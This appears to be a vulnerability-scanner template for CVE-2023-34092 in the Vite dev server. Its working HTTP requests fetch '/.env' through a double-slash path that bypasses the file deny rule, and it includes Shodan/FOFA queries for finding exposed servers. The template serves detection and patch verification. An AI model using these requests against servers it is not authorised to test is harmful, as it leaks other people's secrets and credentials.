id: CVE-2023-34092 info: name: Vite Dev Server - Information Exposure author: ritikchaddha severity: high description: | Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only. impact: | Unauthenticated users can read sensitive files in the project root, potentially leading to information disclosure. remediation: | Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later. reference: - https://github.com/vitejs/vite/security/advisories/GHSA-353f-5xf4-qw67 - https://nvd.nist.gov/vuln/detail/CVE-2023-34092 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-34092 epss-score: 0.03152 epss-percentile: 0.86581 cwe-id: CWE-50 metadata: max-request: 2 verified: true fofa-query: body="/@vite/client" shodan-query: http.html:"/@vite/client" tags: cve,cve2023,env,vite,exposure,bypass flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/.env" matchers: - type: status status: - 403 internal: true - method: GET path: - "{{BaseURL}}//.env" matchers-condition: and matchers: - type: word part: body words: - "VITE_APP_SECRET" case-insensitive: true - type: status status: - 200 # digest: 4b0a00483046022100a4efd34a1d0007b0447bd68149e2ccd2effb9ef171518339e0330e512fd02b1a022100a95391d122ab938a18fa21c52d7db60b6f11b1c9d04c820b89ff42e8000336fe:922c64590222798bb761d5b6d8e72950